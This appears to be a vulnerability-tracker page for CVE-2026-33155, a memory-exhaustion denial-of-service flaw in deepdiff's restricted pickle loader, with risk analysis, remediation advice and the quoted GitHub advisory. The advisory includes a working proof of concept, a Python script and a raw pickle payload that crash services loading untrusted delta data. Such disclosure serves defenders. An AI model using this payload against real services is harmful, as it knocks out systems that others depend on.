Python
CVE-2026-33155
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious pickle payload
-
DeliverySend to application via untrusted data
-
ExploitRestrictedUnpickler loads safe class
-
ExecutionConstructor allocates excessive memory
-
ImpactApplication crashes from memory exhaustion
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can send crafted pickle payloads (40+ bytes) to applications loading delta objects or calling pickle_load with untrusted data. No special configuration required; affects default deployments using the vulnerable _RestrictedUnpickler. |
| Impact | This vulnerability presents a genuine denial of service risk for applications processing untrusted serialized data, though the overall severity is tempered by the limited impact scope. The attack requires network access to services accepting serialized delta objects (low attack complexity, no privileges required, network attack vector typical of CVSS:3.x AV:N/AC:L/PR:N), and a working proof-of-concept demonstrating 800,000x amplification is publicly available, significantly lowering the exploitation barrier. However, the impact is strictly availability-focused (denial of service via memory exhaustion) with no confidentiality or integrity components, and exploitation is not fully automatable as it requires identifying services that use deepdiff for untrusted input deserialization. No KEV listing exists indicating active exploitation in the wild. The real-world risk is moderate and context-dependent: critical for internet-facing APIs deserializing delta objects from unauthenticated users, but lower priority for internal-only deployments or services with robust input validation. The availability of patches from the vendor and the narrow attack surface (specific to deepdiff pickle deserialization) make this manageable through standard patching cycles for most organizations, though high-exposure services should prioritize remediation. |
| Exploit ScenarioDerived | An attacker identifies a web API endpoint that accepts serialized deepdiff delta objects for processing collaborative document changes or configuration updates. The attacker crafts a malicious 40-byte pickle payload containing REDUCE opcodes that invoke bytes(10000000000) or a delta dictionary with values_changed and type_changes operations designed to trigger multi-gigabyte allocations. Upon submission to the API, the server attempts to deserialize the payload using pickle_load or Delta constructor, immediately allocating 10+ GB of memory and triggering an out-of-memory condition that crashes the application server, rendering the service unavailable to legitimate users. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
Memory exhaustion in Python's pickle deserialization allows attackers to crash applications by supplying a small malicious payload that forces allocation of gigabytes of memory through unrestricted constructor arguments in whitelisted classes. Applications using _RestrictedUnpickler to load untrusted pickle data are vulnerable to denial of service attacks. A patch is available.
Earlier versions of this analysis (1)
A memory exhaustion vulnerability exists in the deepdiff Python library's pickle deserialization mechanism where the _RestrictedUnpickler validates allowed classes but fails to limit constructor arguments. Attackers can craft 40-byte pickle payloads that force 10+ GB memory allocations (amplification ratio over 800,000x), causing denial of service crashes in applications processing untrusted delta objects or using pickle_load. A proof-of-concept exploit is publicly available demonstrating both the delta application and raw pickle deserialization attack paths.
RemediationAI
Upgrade deepdiff to the patched version containing commit 0d07ec21d12b46ef4e489383b363eadc22d990fb or later as documented in the GitHub security advisory at https://github.com/seperman/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q and patch reference https://github.com/seperman/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb. Until patching is completed, implement defense-in-depth controls including input size limits on serialized data (reject payloads exceeding reasonable thresholds), memory resource limits using cgroups or container resource constraints to contain potential exhaustion, and avoid deserializing delta objects or using pickle_load with any untrusted input sources. For critical services, consider switching to safer serialization formats like JSON for delta representation or implementing application-level validation of deserialized object sizes before full processing.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The deepdiff library (pkg:pip/deepdiff per CPE data) implements a restricted unpickler (_RestrictedUnpickler) to safely deserialize delta objects by maintaining a SAFE_TO_IMPORT allowlist of permitted classes. This vulnerability represents CWE-400 (Uncontrolled Resource Consumption) where the unpickler correctly gates which classes can be loaded via find_class() but fails to intercept REDUCE opcodes or validate constructor arguments. Certain allowed types including builtins.bytes, builtins.list, and builtins.range have constructors that allocate memory proportional to their input parameters. The vulnerability can be exploited through direct pickle_load() calls using REDUCE opcodes to invoke bytes(N) with arbitrary N values, or through delta application where values_changed operations set large integers that are subsequently converted to bytes via type_changes, with _do_values_changed() executing before _do_type_changes() in the processing chain. This represents an incomplete fix to CVE-2025-58367 which hardened against code injection but left resource exhaustion unmitigated.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.
Details
CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.
It can be exploited in 2 ways.
1 - During pickle_load
A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.
GLOBAL builtins.bytes (passes find_class check - serialization.py:353)
INT 10000000000 (10 billion)
TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB2 - During delta application
A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.
PoC
The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 108 to 1010 for the full 9.3 GB allocation.
import resource
import sys
def limit_memory(maxsize_mb):
"""Cap virtual memory for this process."""
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
maxsize_bytes = maxsize_mb * 1024 * 1024
try:
resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
print(f"[*] Memory limit set to {maxsize_mb} MB")
except ValueError:
print("[!] Failed to set memory limit.")
sys.exit(1)
# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load
limit_memory(1024)
# --- Delta application path ---
payload_dict = {
'values_changed': {"root['x']": {'new_value': 10**8}},
'type_changes': {"root['x']": {'new_type': bytes}},
}
payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")
target = {'x': 'anything'}
try:
result = target + Delta(payload1)
print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
print("[!] MemoryError - payload tried to allocate too much")
# --- Raw pickle path ---
payload2 = (
b"(dp0\n"
b"S'_'\n"
b"cbuiltins\nbytes\n"
b"(I100000000\n"
b"tR"
b"s."
)
print(f"Payload size: {len(payload2)} bytes")
try:
result2 = pickle_load(payload2)
print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
print("[!] MemoryError - payload tried to allocate too much")Output:
[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MBImpact
Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.
The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.
Impacted users are anyone who accepts serialized delta objects from untrusted sources - network APIs, file uploads, message queues, etc.
Executive ViewAI
A critical memory exhaustion vulnerability in the deepdiff Python library allows attackers to crash applications by sending tiny malicious files (40 bytes) that consume 10+ GB of memory. Any organization using deepdiff to process untrusted data-including delta objects or pickle-formatted input-faces immediate denial of service risk that could disrupt service availability and impact business operations.
Apply vendor patch. If patching is delayed: (1) Disable deepdiff pickle deserialization functionality if not operationally required; (2) Implement strict input validation to reject pickle-formatted data from untrusted sources; (3) Deploy network segmentation to restrict which systems can send delta objects to vulnerable deepdiff instances; (4) Configure resource limits (memory quotas, process limits) at the OS level to prevent single-process memory exhaustion from cascading to full system failure.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in CVE-2026-33154 and CVE-2026-33155 Code Injection
View all 2Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| openSUSE Tumbleweed | Fixed |
| openSUSE Leap 15.6 | Fixed |
GHSA-54jj-px8x-5w5q
NVD
CVE.org
EPSS
VulDB
Exploit-DB